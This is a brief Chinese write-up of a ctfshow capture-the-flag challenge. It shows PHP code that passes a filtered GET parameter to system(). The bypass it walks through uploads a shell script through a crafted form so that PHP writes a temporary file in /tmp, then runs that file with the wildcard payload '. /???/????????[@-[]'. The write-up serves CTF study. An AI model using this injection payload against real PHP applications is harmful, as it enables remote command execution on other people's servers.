来自于ctfshow的一道题
例题
if(isset($_GET['c']))
{
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c))
{
system($c);
}
}
过滤了所有小写字母和数字
但是放出了. /
准备一个脚本文件,名为1.php
#!/bin/sh
ls
构造一个2.html文件,上传一个脚本文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST文件上传</title>
</head>
<body>
<form action="http://59bd884e-d64a-4dc1-aaf7-3561c5a9b93c.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后上传1.php,抓包
参数部分提交
?c=.%20/???/????????[@-[]
知识点
1、. /path/file
这样是通过bash执行file文件中的命令
2、发送POST上传文件,PHP会生成一个临时文件,默认保存在/tmp/phpxxxxxx
,其中xxxxxx
是六个随机的大小写字母,所以我们只需要匹配最后一个字母是大写字母的时候就可以绕过题目的正则
而绕过的方法就是用通配符/???/????????[@-[]]
,其中[@-[]]
是为了定位随机临时文件名最后大写的一位,因为在ASCII码表中,大写字母的范围实在@
和[
之间